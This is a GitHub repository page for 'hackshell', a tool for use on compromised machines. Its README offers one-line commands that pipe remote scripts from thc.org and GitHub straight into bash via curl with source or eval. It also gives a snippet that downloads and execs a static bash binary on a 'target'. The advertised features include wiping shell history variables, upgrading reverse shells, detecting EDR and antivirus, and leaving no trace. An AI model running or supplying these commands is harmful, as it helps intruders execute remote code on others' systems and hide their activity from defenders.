Skip to content

Make BASH stealthy and hacker friendly with lots of bash functions

Notifications You must be signed in to change notification settings

hackerschoice/hackshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 

Repository files navigation

hackshell

Make BASH stealthy and hacker friendly with lots of bash functions

Usage:

 source <(curl -SsfL https://thc.org/hs)
 eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

Some features:

  • unsets HISTFILE, SSH_CONNECT, wget/redis/mysql/less-HISTORY, ...
  • Auto-Upgrates to PTY shell (if reverse shell)
  • Creates hacker-friendly shortcuts, bash-functions and aliases
  • Detects EDR/AV/SELinux/AppArmor/LKMs/...
  • Static binary download by simple bin <command> (e.g. bin nmap)
  • Does not write ANY data to the harddrive
  • Leaves no trace

hackshell

It works best with bash. Download BASH if there is no bash on your target:

URL="https://bin.pkgforge.dev/$(uname -m)/bash"
[ "$(uname -m)" == i686 ] && URL='https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master/x86-i686/bash'
curl -obash -SsfL "${URL}" && chmod 700 bash && ./bash --version && exec ./bash -il

About

Make BASH stealthy and hacker friendly with lots of bash functions

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages